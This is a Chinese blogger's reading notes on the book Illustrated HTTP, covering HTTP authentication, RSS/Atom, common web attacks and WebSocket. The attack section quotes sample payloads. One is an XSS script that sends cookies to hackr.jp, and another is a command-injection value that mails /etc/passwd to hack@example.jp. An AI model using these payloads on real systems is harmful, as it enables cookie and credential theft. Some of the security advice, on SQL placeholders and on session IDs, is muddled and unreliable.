在HTTP1.1中通常存在下面几种认证方式:

  • BASIC认证(基本认证)
  • DIGEST认证(摘要认证)
  • SSL客户端认证
  • FormBase认证(表单认证)

6.2 SSL认证

由于SSL认证是我们日常开发基础最多的的,所以首先来理解一下。

SSL是同时使用对称加密和非对称加密的方式,在链接的过程中使用非对称加密,而在连接之后使用对称加密,类似在两边先通过身份牌认识双方,然后用特定的通行证完成双方的通信。

安全套接字层 (SSL) 技术通过加密信息和提供鉴权,保护您的网站安全。一份 SSL 证书包括一个公共密钥和一个私用密钥。公共密钥用于加密信息,私用密钥用于解译加密的信息。浏览器指向一个安全域时,SSL 同步确认服务器和客户端,并创建一种加密方式和一个唯一的会话密钥。它们可以启动一个保证消息的隐私性和完整性的安全会话。

6.2.1 基本工作原理

对于SSL的认证方式,基本的流程如下(注意这里省略一步是客户端需要安装SSL证书):

  1. 客户端发送请求,服务端接收到认证资源,同时发送Certificate Request报文,同时要求客户端提供证书。
  2. 用户选择客户端证书通过Client Certificate报文的方式传给服务器。
  3. 服务器验证客户端证书拿到客户端的密钥信息,之后开始HTTPS对称加密通信。

当然书中提到的模糊的交互过程,下面是关于SSL两种认证方式的区别和细节:

6.2.2 单向认证

单向认证在整个SSL握手流程中仅仅单向验证了服务器的SSL证书。因此这个单向认证过程使客户端浏览器可以连接到正确的网站服务器,并且仅通过安全连接将所有数据传输到目标站点。

  1. 客户端发送SSL协议版本号,加密算法,随机数等信息。
  2. 服务端给客户端回传客户端所发送的这一类信息,同时返回服务端的证书,也就是公钥证书。
  3. 客户端校验服务端证书的合法性,合法正确通信,否则停止通信并且警告,具体内容如下:
    • 证书是否过期。
    • 发行服务器CA可靠性。
    • 返回公钥是否正确解开并且和服务器的实际域名匹配。
    • 服务器证书域名是否和服务器的实际域名匹配。
  4. 客户端发送自己支持的加密方案,提供服务器选择。
  5. 服务器选择提供的加密方案中加密程度最高的方案,告知客户端使用此加密方案加密。
  6. 服务器选好加密方案通过明文方式发给客户端。
  7. 客户端收到加密方案,使用方案生成随机码,以此作为对称加密的密钥,再利用服务端返回的公钥加密随机号码,加密后的随机码发给服务器。
  8. 服务端收到客户端的加密信息之后,用自己私钥解密并且对称加密密钥。服务端和客户端使用随机生成的密码进行对称加密,保证信息安全。
单向认证
单向认证

6.2.3 双向认证

主要的步骤和单向认证一致,这里仅仅介绍有差别的步骤,主要差别是在客户端发送加密方式之前,服务端会多一步索要客户端证书的步骤,然后在选择好加密方式之后不是通过明文的方式而是通过客户端给的公钥进行加密再进行返回。而其他步骤基本照旧,最终改动如下:

  1. 客户端发送自己支持的加密方案,提供服务器选择。在此之前插入两个步骤 =>
  • 服务端要求客户端发送客户端的证书,客户端会将自己的证书发送至服务端
  • 验证客户端证书,通过认证获得客户端公钥。
  1. 服务器选好加密方案通过明文方式发给客户端之后添加 => 加密方式通过之前获取的公钥进行加密(不使用明文),返回给客户端。

6.3 表单认证

表单认证也就是我们常说的账号密码登录。绝大多数的网站基本使用表单认证+SSL认证结合的方式,基本能保证99%的请求能建立安全链接,保证客户的信息不被窃取。但是因为表单认证没有规范和标准,质量也参差不齐,所以不是所有网站有表单认证就是安全的,但是有比没用强不少。

6.4 Cookie和Session管理

CookieSession 作为HTTP无状态的一种用户信息暂存的补救机制,作用是让客户在登录某个网站之后可以保持一段时间或者很长一段时间不需要重新登录,或者说保存一些网站的账户密码登录的时候自动填充,总之是提升浏览器使用体验的东西。

CookieSession 通常是一起作用的,下面是客户登录中 CookieSession 作用的基本流程:

  1. 客户端通过表单发送信息服务器进行表单认证。
  2. 服务器认证发送SessionID,把用户认证状态和SessionID绑定。

向客户端返回响应时,会在首部字段 Set-Cookie 内写入 Session ID(如 PHPSESSID=028a8c…)。

  1. 客户端接受SessionId作为Cookie保存本地,下次再次请求会带入Cookie并且随着SessionId一起发送,服务端基于SessionId识别用户和认证状态。

SessionID应该保证其安全性和难以推测的特性,常见处理方式使用加盐对于密码进行二次的哈希处理,这种方式是使用比较多的方式,防止XSS攻击获取到密文之后解密获得账户密码。

Cokkie和Session
Cokkie和Session

为减轻跨站脚本攻击(XSS)造成的损失,建议事先在 Cookie 内加上 httponly 属性。

6.5 BASIC 认证和DIGEST 认证

6.5.1 BASIC 认证

BASIC 认证(基本认证)是从 HTTP/1.0 就定义的认证方式。还有极少部分网站在使用,作为大概了解即可。

大致步骤如下:

  1. 需要 BASIC 认证时,服务器会随状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应。
  2. 状态码 401 Authorization Required通知客户端需要BASIC认证。为了通过BASIC认证,需要把ID密码发给客户端,加密方法是串联用户ID和密码用连接符冒号链接,然后Base64加密。
  3. 服务器接收到包含首部字段 Authorization 请求,然后返回一条Request-URI响应。
BASIC 认证
BASIC 认证

可以看到整个过程最大的问题是Base64不加密,一旦获取到传输信息通过字典暴力破解基本两下就可以解开。

为了解决Basic认证问题,后续出现了DIGEST 认证进行升级,HTTP/1.1 起就有了 DIGEST 认证,DIGEST 认证同样使用质询 / 响应的方式。

什么是质询呢?指的是一方发送认证请求之后需要利用服务器返回的质询码生成响应码,最后通过响应码认证。

质询请求
质询请求

6.5.2 DIGEST 认证

整个 DIGEST 认证的过程如下:

  1. 需要认证时,服务器会随状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应,同时Authenticate 还会传送响应认证需要的临时质询码。
  2. 接收到 401 状态码的客户端,返回的响应中包含 DIGEST** 认证**必需的首部字段 Authorization 信息。
  3. 服务器接收到包含首部字段 Authorization 请求,然后返回一条 Request-URI 响应。

DIGEST和BASIC认证看上去比较像,但是在安全性上比使用明文Base64多了一重认证,所以安全性要高上不少。但是因为认证方式十分不灵活所以使用的范围依然受限。

现如今的主流认证方式使用身份令牌+对称加密的方式,实际上和质询认证的方式类似,只不过整个流程和细节更加完善一点而已。

另外身份令牌一般用于接口对接,对于一般用户通常依然使用表单认证。

6.6 Keberos 认证和NTLM 认证

Kerberos

是一种身份认证协议,被广泛运用在大数据生态中,甚至可以说是大数据身份认证的事实标准。本文将详细说明 Kerberos 原理。

题外话

Kerberos指的是西方神话中的地狱三头犬。在古希腊神话中Kerberos含义:有着一只三头犬守护在地狱之门外,禁止任何人类闯入地狱之中。

image-20220728160016964
image-20220728160016964

6.6.1 Kerberos 的优势

  1. 密码无需进行网络传输。基于 Ticket 实现身份认证,保障密钥安全性。
  2. 双向认证。整个认证过程中,不仅需要客户端进行认证,待访问的服务也需要进行身份认证。
  3. 高性能。一旦Client获取到曾经访问过某个Server的Ticket,该Server就能根据这个Ticket实现对Client的验证,而无须KDC的再次参与。

NTLM

NTLM是NT LAN Manager的缩写,NTLM是基于挑战/应答的身份验证协议,是 Windows NT 早期版本中的标准安全协议。

6.6.2 Kerberos 补充

个人粗略看了一下这个认证,看上去十分复杂并且流程繁琐,这里找了几篇博客作为储备,有需要之后再来学习,推荐阅读顺序是213,其中第二篇整理的比较系统,第一篇虽然比较老但是是英文的加上给了很多图,适合学技术同时顺带提升英语阅读水平:

https://www.roguelynn.com/words/explain-like-im-5-kerberos/

https://blog.csdn.net/sky_jiangcheng/article/details/81070240

https://zhuanlan.zhihu.com/p/266491528

#tjhttp 五、《图解HTTP》- RSS和网络攻击

本节是关于RSS和常见网络攻击的讨论,RSS似乎总是被认为“为什么还没有消失“的东西,但是个人通过了解和体验之后发现意外的挺好用的。

而关于网络攻击的部分有时候会成为面试的考点,了解基础的网络攻击手段和常见的防范方式还是有必要的。

知识点

  1. RSS历史介绍,RSS的存在意义和价值,个人认为很适合自主学习的人使用。
  2. WEB 攻击手段介绍,了解基础和常见的攻击手段,这些攻击手段离我们日常生活并不远。
  3. 关于瓶颈和未来发展是由于写书时效性产生的一些“过时”内容,可以跳过。

5.1 RSS

5.1.1 RSS历史

下面大部分内容来自维基百科,由于多半是理论内容,不做过多解释。

RSS(简单信息聚合)和Atom都是针对新闻和博客日志信息文档格式的合称。

RSS(英文全称:RDF Site Summary 或 Really Simple Syndication)中文译作简易信息聚合,也称聚合内容,是一种消息来源格式规范,用以聚合多个网站更新的内容并自动通知网站订阅者。

使用 RSS 后,网站订阅者便无需再手动查看网站是否有新的内容,同时 RSS 可将多个网站更新的内容进行整合,以摘要的形式呈现,有助于订阅者快速获取重要信息,并选择性地点阅查看。

RSS的历史版本更新如下:

  • RSS 0.9(RDF Site Summary):最初的 RSS 版本。1999 年 3 月由网 景通信公司自行开发用于其门户网站。基础构图创建在初期的 RDF 规格上。
  • RSS 0.91(Rich Site Summary):在 RSS0.9 的基础上扩展元素,于 1999 年 7 月开发完毕。非 RDF 规格,使用 XML 方式编写。
  • RSS 1.0(RDF Site Summary):RSS 规格正处于混乱状态。2000 年 12 月由 RSS-DEV 工作组再次采用 RSS0.9 中使用的 RDF 规格发布。
  • RSS2.0(Really Simple Syndication):非 RSS1.0 发展路线。增加支 持 RSS0.91 的兼容性,2000 年 12 月由 UserLand Software 公司开发完 成。

发展到现在RSS有几个不同的版本,分为两个主要分支(RDF和2.X)

RDF(或 RSS 1.X)分支包括以下版本:

  • RSS 0.90 是最初的Netscape RSS版本。此 RSS 称为 _RDF 站点摘要_,但基于 RDF 标准的早期工作草案,与最终的 RDF 建议不兼容。
  • RSS 1.0 是 RSS-DEV 工作组的开放格式,再次代表 _RDF 站点摘要_。RSS 1.0 是一种像 RSS 0.90 一样的 RDF 格式,但与它不完全兼容,因为 1.0 是基于最终的 RDF 1.0 推荐标准。
  • RSS 1.1 也是一种开放格式,旨在更新和替换 RSS 1.0。该规范是一个独立的草案,不受 RSS-Dev 工作组或任何其他组织的任何支持或认可。

RSS 2.X 分支(最初是 UserLand,现在是 Harvard)包括以下版本:

  • RSS 0.91是Netscape发布的简化RSS版本,也是Userland Software的Dave Winer最初倡导的简化版本的版本号。Netscape版本现在被称为_Rich Site Summary_;这不再是RDF格式,但相对易于使用。
  • RSS 0.92 到 0.94 是 RSS 0.91 格式的扩展,它们大多彼此兼容,并且与 Winer 版本的 RSS 0.91 兼容,但与 RSS 0.90 不兼容。
  • RSS 2.0.1 的内部版本号为 2.0。RSS 2.0.1 被宣布为“冻结”,但在发布后不久仍然更新,没有更改版本号。RSS现在代表_真正简单的整合_。此版本中的主要更改是使用 XML 命名空间的显式扩展机制。

5.1.2 Atom

同样没怎么接触的东西,整理百科的内容如下。

Atom是一对彼此相关的标准。Atom供稿格式(Atom Syndication Format)是用于网站消息来源基于XML的文档格式;而Atom出版协定(Atom Publishing Protocol,简称AtomPub或APP)是用于新增及修改网络资源,基于HTTP的协议

它借鉴了各种版本RSS的使用经验,被许多的聚合工具广泛使用在发布和使用上。Atom供稿格式设计作为RSS的替代品;而Atom出版协定用来取代现有的多种发布方式(如Blogger API和LiveJournal XML-RPC Client/Server Protocol)。Google提供的多种服务正在使用Atom。Google Data API(GData)亦基于Atom。

RSS和Atom都得到广泛支持,并与所有主要的消费者提要阅读器兼容。RSS 由于早期订阅源读取器的支持而得到了更广泛的应用。

从技术上讲,Atom有几个优点:限制较少的许可,IANA注册的MIME类型,XML命名空间,URI支持,RELAX NG**支持。

Atom 具有以下两种标准。

Atom 供稿格式(Atom Syndication Format):为发布内容而制定的 网站消息来源格式,单讲 Atom 时,就是指此标准。

Atom 出版协定(Atom Publishing Protocol):为 Web 上内容的新增 或修改而制定的协议。

关于更多的内容,可以参考这两个网站:

The Atom Syndication Format:

https://www.rfc-editor.org/rfc/rfc4287.txt

Atom Syndication Format(IBM)

https://www.ibm.com/docs/en/cics-ts/5.3?topic=standards-atom-syndication-format

5.1.3 RSS意义

RSS多数情况下用于网络博客应用的订阅和自己的喜欢的网站信息同步更新获取,个人认为类似换种形式的微信公众号,不过最近这几年微信也在改变算法,推送也从以前的一股脑推送,到现在的根据用户的喜好推送。

RSS 放到现在还有意义么?为什么还有人在用呢?个人认为RSS订阅最大的意义是 过滤噪声,RSS订阅的阅读需要依赖阅读器,关于软件使用这一部分的内容请查看“参考资料”。

RSS有几个显著优点:

  1. 由被动获取信息到主动获取信息。
  2. 规避各互联网公司的算法。
  3. 屏蔽互联网的噪声。
  4. 返璞归真,并不是所有的“时代倒退”都是错的。

这几点基本也决定了很多平台不会喜欢这东西,因为挡着财路了。

RSS当然有他的缺点,最大的缺点是 太过于小众了,所以它有那一天会消失都不奇怪,由于几乎没有利益可图,所以目前在竞争的反倒是做标准的几个势力,也是比较罕见的情况。

实际上,现在还有相当一部分人还在使用RSS。

5.2 WEB攻击

HTTP为了实现其简单高效,在HTTP1.X中保持了无状态的特征,所以本身对于安全防护的能力几乎为0,基本上年年都可以看到重大的网络攻击安全事故,因为根据墨菲定律这种事情总会发生。

攻击方式主要分为主动攻击和被动攻击。

被动攻击的方式主要是利用钓鱼网站或者链接引导用户点击,之后运行攻击代码获取用户电脑的个人信息等,主动攻击则是类似DDos的流量冲击。

多数情况下被动攻击较多,因为几乎没有啥人工成本,而主动攻击基本上是一些具备不小的流量价值的网站,经常会受到类似的攻击。

下面根据书中内容列巨额常见的WEB攻击手段。

5.2.1 XSS攻击

首先是较为常见的是XSS攻击(跨站脚本攻击),主要通过非法的HTML标签或者JS脚本完成攻击,通过预先设置网站陷阱,用户在填写个人的敏感信息的时候就有可能中招。

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)

除了获取登录信息,还有一种手段是通过JS 脚本抓取Cookie的内容直接获取用户的个人信息,比如使用像是下面这样的代码:

var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");

5.2.2 SQL注入

SQL注入主要发生在编程开发人员对待SQL不严谨遗留漏洞,进而产生SQL 注入攻击。

比如书中提到了利用类似这样的手段,通过在SQL参数中注入单引号方式,导致后续的SQL内容失效,来获取一些无法访问的信息。

解决的办法也比较简单,需要注意尽量谨慎或者避免使用占位符,而是使用特殊符号比如“?”的方式进行参数替换而不是直接嵌入SQL。

SQL明显也是利用了SQL语法的规则完成这一特殊字符的注入操作,当然更多情况下是网站编程人员不严谨导致的。

如果你认为现在这种事情发生的很少就大错特错了,国内依然存在大量的网站连最为基础的SQL注入问题都没有进行防范。

5.2.3 OS攻击

OS攻击不算少见,云服务器中这几年比较常见的挖矿脚本算是一种,这种跟随开源组件带来的病毒讨厌又恶心。

针对OS攻击具体案例可以看下面使用获取用户邮件的方式找出OS的漏洞,并且通过管道符等命令快速窃取邮箱账户和密码达成盗号的目的。

my $adr = $q->param('mailaddress');

open(MAIL, "| /usr/sbin/sendmail $adr"); 

print MAIL "From: info@example.com\n";

攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@example.jp

程序接收该值,构成以下的命令组合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)

5.2.4 DDos攻击

非常直接并且粗暴野蛮的攻击方式,通过大规模流量击倒目标服务器,让目标服务器一直处于瘫痪状态无法访问。所以也叫做拒绝服务攻击服务停止攻击

DDos的攻击方式主要是下面两种:

  • 集中访问资源过载,实际上是植入需要大量运算的无意义程序耗尽计算机资源。
  • 攻击系统漏洞致使服务停止。通常这种漏洞来源于开源代码的漏洞。比如臭名昭著的FastJson三天两头的爆出漏洞需要修复。

对于攻击者来说,DDos成本很低,因为国外可以通过大量购买肉鸡服务器完成这一操作,但是对于一个在线客户访问的独立网站来说,要防护的方案实际上并不多,多数时候只能“烧钱”来解决问题,原因是无法分辨攻击来源。

5.2.5 目录遍历攻击

目录攻击是利用对于某些权限敏感的路径访问获取用户密码的行为,比如通过脚本尝试获取到/etc/passwd的相关信息。

5.2.6 跨站点请求伪造

也就是常说的CSRF攻击,同样是使用陷阱的方式诱导用户操作,在获取到用户信息之后通过用户的身份完成一些“越界”操作。

5.2.7 会话攻击

会话攻击,对于很多网站Session信息中存储了和用户登录的相关信息,通过各种手段推测或者获取用户ID信息,然后根据这些信息伪造用户身份完成登录操作。

上面这种攻击是会话劫持,通过设陷阱或者暴力方式获取信息,另一种是利用用户登录操作,使用相同的用户ID等待用户操作完成之后拿到当前的会话信息访问,有点类似悄咪咪更在别人身后进门不被发现,等进去只会守到主人离开再进去偷东西。

对于这样的信息防护,简单的处理可以在认证的时候加入IP校验规则,如果同一身份信息但是从不同的IP发出,则可以认为是一种会话内容窃取。

5.2.8 点击劫持

利用网络iframe和透明元素的特性,在原始页面上覆盖被点击按钮,这时候同样会把相关的信息带过去。

5.2.9 密码破解

密码破解的手段通常是穷举法字典攻击,穷举法通常利用用户喜欢把类似生日或者姓名有关的信息作为密码的情况,通过试错的方式进行强制破解,通过制定规则暴力破解,当然通过穷举破解的前提是秘钥的长度够小,另外还有一种是对于已加密到密文进行破解,同样使用查询字典的方式进行试错。

常见的加密破解方式为下面几种:

  • 通过穷举法·字典攻击进行类推:也就是所谓的通过散列函数结合穷举法和字典攻击手法,这种手法适用于使用通用加密函数加密的系统。
  • 彩虹表:彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,被叫做彩虹表是因为里面包含了各种加密函数加密的密文像是“彩虹”一样,目的是减少穷举和字典法的时间开销。 彩虹表是一种比较有效的破解手段。

目前在 https://freerainbowtables.com/ 这个网站上公布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成的彩虹表

  • 拿到密钥:通过网路劫持等手段获取到用户公钥并且通过伪造密钥的方法请求目标服务器,最终实现欺骗服务器获取密文的破解手法。
  • 加密算法的漏洞:找算法的漏洞,对于目前主流的信息加密算法基本很难找到漏洞,所以算是成功率非常非常低的手段。

防止密码破解的方式是对于密码错误次数的校验以及短时间内频繁请求进行限制,对于已加密的数据,在原有到密码密文还会加入一个叫做“盐值”的内容。

5.2.10 后门程序

后门程序在发现漏洞的时候设置入口而不是直接攻击。通过后门程序在漏洞上捣鬼,可以实现在日常访问无感知问题的情况下完成信息窃取,由于十分难以发现,后门程序是危险系统很高的WEB攻击方式。

  • 开发阶段作为 Debug 调用的后门程序。
  • 开发者为了自身利益植入的后门程序。
  • 攻击者通过某种方法设置的后门程序。

这里简单说一下第二种在有不少的实际案例,比如简单粗暴的支付网站通过后门程序随机把收款码替换的案例。

还有一种是类似“薅羊毛”的后台程序,通过每一笔订单收取“0.00*N1”的“手续费”,这样的后台程序如果不是火眼金睛基本难以发现,同时虽然数字很小,但是用户量很大的情况下,这种收入实际上是一笔巨款。

这些东西都是高压线,千万不要尝试哟!

5.3 瓶颈和“未来”发展

当前我们现在看这本书书中提到的未来都已经实现了,这些内容简单看看即可。

  • SPDY (HTTP2.0)
  • Ajax
  • WebSocket
  • Comet
  • HTTP长连接

5.3.1 SPDY - The Chromium Projects

这部分内容在[[《图解HTTP》- HTTP协议历史发展(重点)]]中的HTTP2.0的历史进行了详细阐述,这里不再重复介绍。

5.3.2 Ajax

Ajax 的核心技术是名为 XMLHttpRequest 的 API,通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信,利用Ajax可以完成WEB页面局部更新的操作。

5.3.3 Comet

这个单词的原本含义叫做“彗星”,在WebSocket技术没有完全解决浏览器兼容问题之前,“服务器推”(Comet技术)存在广泛的应用需求,需求推动技术的发展,Comet 技术在Web端即时通讯的方案里几乎不可或缺。

在此之前的技术:

Comet之前还有一种更早的由服务器推送实现的反向内容推送,那就是被时代逐渐抛弃的Flash,但是使用Flash的前提是用户自愿安装。Flash可以很轻松的完成JS调用,并且提供XMLSocket类接口实现了反向推送,所以很长一段时间是服务端推送的唯一办法。

还有一种技术是早就死掉的Java Applet,通过 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket完成套接字连接并且服务端推送,但是它有一个致命缺陷是Applet 无法和JavaScript 结合完成实时页面的动态刷新。

Comet如何发展的?

实时Comet本身也是依赖着Ajax的普及扩展的,所以Comet 被定义为:基于 HTTP 长连接、无须在浏览器端安装插件的“服务器推”技术为“Comet”。

Comet实现方式?

Commet的实现方式有两种,第一种是基于 AJAX 的长轮询(long-polling)方式,第二种是基于 Iframe 及 htmlfile 的流(streaming)方式

首先简述一下第一种方式,长轮询的方式需要不断和和服务端建立HTTP握手连接,每次连接会浪费大量不必要的网络开销。

第二种是使用iframe嵌套及 html file 的流(streaming)方式的方式,iframe这个标签虽然早就被HTML不建议使用(并且废弃了),但是曾经是作为实现长链接的少数选择之一依然发挥重要作用。

原理非常简单,就是在iframe的Src标签当中嵌套获取数据的URL,在Iframe中不返回页面而是返回客户端调用的JS代码, 客户端收到服务端返回的JS调动就会去执行代码。

但是显然iframe在很多浏览器中是不允许这种嵌套JS代码调用的,所以Google后续提出使用 ActiveX ,ActiveX其实就是封装了一个基于 iframe 和 html file 的 JavaScript comet 对象

但是因为IE旧版本和Google和FIreFox互不相容,所以这个东西在过去曾经恶心至极(在IE的兼容上),需要前端通过一些模板代码优化和处理,比较麻烦。

而使用Comet的方式是一旦发现服务端出现更新就立马返回响应。使用延迟响应的方式模拟推送功能,收到请求Comet 会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。

相关开源组件

  • Pushlet:开源的 Comet 框架,使用了观察者模型
  • IComet: C++ 语言开发的支持百万并发连接的 comet/push 服务器

Comet 是过去解决服务端推送问题的过渡“插件”,虽然一定程度解决了问题,但是属于围魏救赵,本质上客户端发送请求这一点没有根本改变。

所以Comet 不需要花费过多精力,更多细节可以参考"参考资料部分的内容"。

5.3.4 HTTP 长连接特性

除了Comet 本身的诸多限制外,HTTP长连接本身也有一些值得注意的特性。

  1. HTTP1.1长连接存在限制,那就是客户端不应该与服务器端建立超过两个的 HTTP 连接,在IE体现为超过两个以上文件下载被阻止。

  2. 服务器端的性能和可扩展性,如果Ajax存在频繁请求, Comet 会长时间占用一个连接,在JAVA1.4中提供的Java.io 虽然可以实现连接空闲的时候把线程资源还给线程池,但是应对Ajax频繁请求依然会存在一些问题,使得空闲连接较少而影响性能。为此Jetty存在一些针对Comet 的优化,在相关文章 “AJAX,Comet and Jetty”中进行过详细介绍(但是很遗憾目前这篇文章已经找不到了)。

  3. 控制信息和数据展示分离,HTTP长连接关闭需要依赖客户端发送关闭请求,但是很多时候客户端会自行关闭网页,服务端需要把阻塞等待客户端请求转变为关闭。为了解决这个问题在AJAX的实现方式中会异步的发送一个关闭请求。基于iframe的方式则需要2个Iframe,一个负责显示,另一个负责交换控制信息,控制请求能快速响应不至于被显示信息阻塞。

  4. 维持心跳,所谓的维持心跳是服务端需要一种检查客户端是否活动的检查机制,定期检查客户端是否关闭连接,如果关闭连接则会进入到阻塞读的环节,如果客户端已经关闭则会进入异常状态并且关闭连接释放资源。

    注意如果是基于 AJAX 的长轮询方式需要采用计时器的方式,通过计时器计时当客户端很长时间没发送请求会认为客户端已经自行关闭并且同样释放资源,保证服务器资源有效利用。

    最后如果自身出现问题,也需要通知客户端然后释放资源,防止漏洞溢出。

5.3.5 WebSocket

本来属于HTML5的标准一部分,结果在出现之后逐渐脱离HTML5 成为一个独立的协议,现代主流浏览器基本全部兼容WebSocket(除了IE)。

WebSocket 通信协议在 2011 年 12 月 11 日,被 RFC 6455 - The WebSocket Protocol 定为标准。

WebSocket解决Comet和Ajax的痛点问题是一旦 Web 服务器与客户端之间建立起 WebSocket 协议的通信连接,之后所有的通信都依靠这个专用协议进行,也就是说类似协议“升级”,由于不需要客户端主动获取数据,服务端在建立连接之后可以直接向客户端推送数据。

设计目的:最初目的是解决Ajax和 Conmet 的XmlHttpRequest 附带所引发的缺陷。这两个组件的根本缺陷是只能由客户端完成请求发送

当然并不是说只使用客户端请求无法完成内容实时更新,有一种办法是使用使用轮询的方式获取信息但是轮询意味着不断的和服务器请求连接,还有作为过渡的兼容组件"彗星"。

关于WebSocket有下面的特点:

(1)建立在 TCP 协议之上,上下兼容。

(2)与 HTTP 协议有着良好的兼容性。默认端口也是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能借助HTTP进行代理。

(3)轻量化响应格式,高效。

(4)可以发送文本,也可以发送二进制数据。

(5)没有同源限制,客户端可以与任意服务器通信。

(6)协议标识符是ws(如果加密,则为wss),服务器网址就是 URL。

(7)减少通信量,因为一旦建立连接就会一直保持连接状态,所以HTTP首部的开销也会减少。

案例:

// Create WebSocket connection.
const socket = new WebSocket('ws://localhost:8080');

// Connection opened
socket.addEventListener('open'function (event{
    socket.send('Hello Server!');
});

// Listen for messages
socket.addEventListener('message'function (event{
    console.log('Message from server ', event.data);
});

基本的步骤如下:

  1. 握手请求。当建立HTTP连接之后,利用HTTP 的 Upgrade 首部字段,告知服务器通信协议发生改变,可以看看做HTTP连接之后再次发起一次“升级协议”请求。
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

备注:Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。 Sec-WebSocket-Protocol 字段内记录使用的子协议。

  1. 因为最初的HTTP连接可能存在数据交互,所以对于之前的请求返回状态码 101 Switching Protocols 的响应。

如果不知道101是什么没啥关系,看看 [[《图解HTTP》- 状态码]] 这一章会发现实际上就是个没什么影响的提示信息,下面的解释自行翻译,有利于加深印象。

101状态码
101状态码

书中的WebSocket的图画的不错,基本可以直观感受到WebSocket这个单独的协议是如何和HTTP配合的。

WebSocket
WebSocket

关于WebSocket有很多细节可以展开,碍于本书面向最基本初学者缘故,所以这篇读书笔记不做过多解释,这里也上网找了一些资料作为拓展,,具体内容请阅读“参考资料”部分。

附录

虽然标题起名叫“附录”,实际上是个人搜集笔记而已。

附录部分是把之前各个章节参考的各种文章和资料汇总一遍,如果你也想阅读这本书,相信这些内容对你一定有帮助。

附一份PDF,感兴趣可以自取备份。

链接:https://pan.baidu.com/s/1GFsK17K2T0fFLI7HUXiaNA?pwd=bcqa 提取码:bcqa

如果失效,可以通过公众号“懒时小窝”找到我,后台回复“图解HTTP”获取相关参考资料

WEB历史

WEB历史讲述了HTML+CSS+JAVASCRIPT和DOM,另外介绍了现在已经不使用的Servlet,这些技术中需要提一下的是Servlet,这个看似和现在WEB没什么关系的技术,实际上依然活跃,只不过换了一种形式被Spring包装消失了,所以如果想要学好Web,掌握吃透Servlet是必不可少的。

总结

看完这本书收获还算挺大的,有了《网络是怎么样连接的》这本书的基础概念之后,看这本书看的很快,所以更多内容是针对书本的扩展和思考,另外学习过程中也查阅了非常多的资料,这里都放到附录里面了。

参考资料

[1]

Wi-Fi: https://zh.m.wikipedia.org/wiki/Wi-Fi

[2]

无线接入点: https://zh.m.wikipedia.org/wiki/%E6%97%A0%E7%BA%BF%E6%8E%A5%E5%85%A5%E7%82%B9

[3]

RFC (identifier): https://en.wikipedia.org/wiki/RFC_(identifier)

[4]

RFC (identifier): https://en.wikipedia.org/wiki/RFC_(identifier)

分类:

阅读

标签:

读书

作者介绍

阿东lazy
V2